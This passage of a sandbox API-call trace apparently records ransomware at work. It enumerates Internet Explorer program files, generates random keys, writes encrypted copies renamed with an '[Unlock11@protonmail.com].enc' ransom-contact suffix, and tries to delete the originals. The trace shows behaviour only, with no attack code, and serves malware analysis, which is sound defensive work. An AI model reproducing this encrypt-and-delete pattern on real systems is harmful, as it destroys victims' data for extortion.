ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95214d68, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0228.949] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9523afd3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9523afd3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9523afd3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x52600, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0228.949] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa182b3a4, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa1c0b0e4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x8d39e400, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xc8d40, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="iexplore.exe", cAlternateFileName="")) returned 1 [0228.949] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc12f4a8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0228.949] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc93a39, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0228.949] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0228.949] FindNextFileA (in: hFindFile=0x10f7350, lpFindFileData=0x9bb010 | out: lpFindFileData=0x9bb010*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x953b87d3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x953b87d3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x953b87d3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa7d0, dwReserved0=0x9badcc, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 0 [0228.949] FindClose (in: hFindFile=0x10f7350 | out: hFindFile=0x10f7350) returned 1 [0228.950] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\en-US" (normalized: "c:\\program files (x86)\\internet explorer\\en-us")) returned 0x10 [0228.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0228.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0228.950] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\experiments manage.exe" (normalized: "c:\\program files (x86)\\internet explorer\\experiments manage.exe")) returned 0x20 [0228.950] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887458 | out: hHeap=0x2ad0000) returned 1 [0228.950] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0228.951] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files (x86)\\internet explorer\\extexport.exe")) returned 0x20 [0228.951] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0228.951] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll" (normalized: "c:\\program files (x86)\\internet explorer\\hmmapi.dll")) returned 0x20 [0228.952] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0228.952] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ie9props.propdesc" (normalized: "c:\\program files (x86)\\internet explorer\\ie9props.propdesc")) returned 0x20 [0228.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874a0 | out: hHeap=0x2ad0000) returned 1 [0228.953] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ieinstal.exe")) returned 0x20 [0228.953] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a528 | out: hHeap=0x2ad0000) returned 1 [0228.954] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3881108, Size=0x20) returned 0x33eaff8 [0228.954] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ielowutil.exe")) returned 0x20 [0228.954] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0228.954] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\IEShims.dll" (normalized: "c:\\program files (x86)\\internet explorer\\ieshims.dll")) returned 0x20 [0228.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0228.955] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\iexplore.exe" (normalized: "c:\\program files (x86)\\internet explorer\\iexplore.exe")) returned 0x20 [0228.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0228.955] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\images" (normalized: "c:\\program files (x86)\\internet explorer\\images")) returned 0x11 [0228.955] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0228.955] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\SIGNUP" (normalized: "c:\\program files (x86)\\internet explorer\\signup")) returned 0x10 [0228.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0228.956] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\sqmapi.dll" (normalized: "c:\\program files (x86)\\internet explorer\\sqmapi.dll")) returned 0x20 [0228.956] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aa68 | out: hHeap=0x2ad0000) returned 1 [0228.957] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33eaff8, Size=0x40) returned 0x38875c0 [0228.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0228.957] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\experiments manage.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\experiments manage.exe", lpFilePart=0x9bada4*="experiments manage.exe") returned 0x3f [0228.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0228.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0228.957] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0228.957] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0228.957] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\experiments manage.exe" (normalized: "c:\\program files (x86)\\internet explorer\\experiments manage.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22251360, ftCreationTime.dwHighDateTime=0x1d4ca95, ftLastAccessTime.dwLowDateTime=0x3766d890, ftLastAccessTime.dwHighDateTime=0x1d50441, ftLastWriteTime.dwLowDateTime=0x3766d890, ftLastWriteTime.dwHighDateTime=0x1d50441, nFileSizeHigh=0x0, nFileSizeLow=0x12800)) returned 1 [0228.958] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36718f4 | out: pbBuffer=0x36718f4) returned 1 [0228.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0228.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4410 [0228.958] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0228.958] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaff8 [0228.958] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\experiments manage.exe" (normalized: "c:\\program files (x86)\\internet explorer\\experiments manage.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0228.959] GetFileType (hFile=0x334) returned 0x1 [0228.959] GetFileType (hFile=0x334) returned 0x1 [0228.959] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0228.959] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0228.959] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.959] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0228.959] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.959] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0228.960] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.960] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\experiments manage.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\internet explorer\\experiments manage.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0228.960] GetFileType (hFile=0x39c) returned 0x1 [0228.960] GetFileType (hFile=0x39c) returned 0x1 [0228.960] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0228.960] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0228.961] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.961] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0228.961] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.961] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0228.961] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.965] CloseHandle (hObject=0x39c) returned 1 [0228.965] CloseHandle (hObject=0x334) returned 1 [0228.965] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\experiments manage.exe" (normalized: "c:\\program files (x86)\\internet explorer\\experiments manage.exe")) returned 0 [0228.966] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe", lpFilePart=0x9bada4*="ExtExport.exe") returned 0x36 [0228.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0228.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0228.966] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0228.966] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0228.966] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files (x86)\\internet explorer\\extexport.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95261236, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95261236, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95261236, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1 [0228.967] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671fac | out: pbBuffer=0x3671fac) returned 1 [0228.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0228.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3df0 [0228.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0228.967] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eae90 [0228.967] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files (x86)\\internet explorer\\extexport.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0228.967] GetFileType (hFile=0x334) returned 0x1 [0228.968] GetFileType (hFile=0x334) returned 0x1 [0228.968] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0228.968] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0228.968] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.968] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0228.968] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.968] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0228.968] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0228.968] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\internet explorer\\extexport.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.001] GetFileType (hFile=0x39c) returned 0x1 [0229.001] GetFileType (hFile=0x39c) returned 0x1 [0229.001] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.002] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.002] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.002] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.002] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.002] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.002] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.005] CloseHandle (hObject=0x39c) returned 1 [0229.005] CloseHandle (hObject=0x334) returned 1 [0229.006] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ExtExport.exe" (normalized: "c:\\program files (x86)\\internet explorer\\extexport.exe")) returned 0 [0229.006] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\hmmapi.dll", lpFilePart=0x9bada4*="hmmapi.dll") returned 0x33 [0229.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0229.006] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0229.006] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0229.007] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ie9props.propdesc", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\ie9props.propdesc", lpFilePart=0x9bada4*="ie9props.propdesc") returned 0x3a [0229.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0229.007] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe", lpFilePart=0x9bada4*="ieinstal.exe") returned 0x35 [0229.007] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0229.007] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ieinstal.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x14fb6499, ftLastAccessTime.dwHighDateTime=0x1d2fa0d, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x75e00)) returned 1 [0229.007] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x367146c | out: pbBuffer=0x367146c) returned 1 [0229.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622688 [0229.008] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3028 [0229.008] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0229.008] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ieinstal.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.008] GetFileType (hFile=0x334) returned 0x1 [0229.008] GetFileType (hFile=0x334) returned 0x1 [0229.008] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.009] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.009] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.009] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.009] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.009] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.009] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.009] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\internet explorer\\ieinstal.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0229.009] GetFileType (hFile=0x39c) returned 0x1 [0229.010] GetFileType (hFile=0x39c) returned 0x1 [0229.010] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.010] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.010] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.035] CloseHandle (hObject=0x39c) returned 1 [0229.036] CloseHandle (hObject=0x334) returned 1 [0229.036] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ieinstal.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ieinstal.exe")) returned 0 [0229.036] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe", lpFilePart=0x9bada4*="ielowutil.exe") returned 0x36 [0229.036] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0229.036] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0229.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0229.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0229.037] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ielowutil.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95214d68, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x95214d68, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x95214d68, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36000)) returned 1 [0229.037] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3671d54 | out: pbBuffer=0x3671d54) returned 1 [0229.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622818 [0229.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0229.037] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622818 | out: hHeap=0x2ad0000) returned 1 [0229.037] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eaf08 [0229.038] CreateFileA (lpFileName="C:\\Program Files (x86)\\Internet Explorer\\ielowutil.exe" (normalized: "c:\\program files (x86)\\internet explorer\\ielowutil.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0229.038] GetFileType (hFile=0x334) returned 0x1 [0229.038] GetFileType (hFile=0x334) returned 0x1 [0229.038] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0229.038] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.038] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0229.038] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0229.038] FileTimeToSystemTime (in: 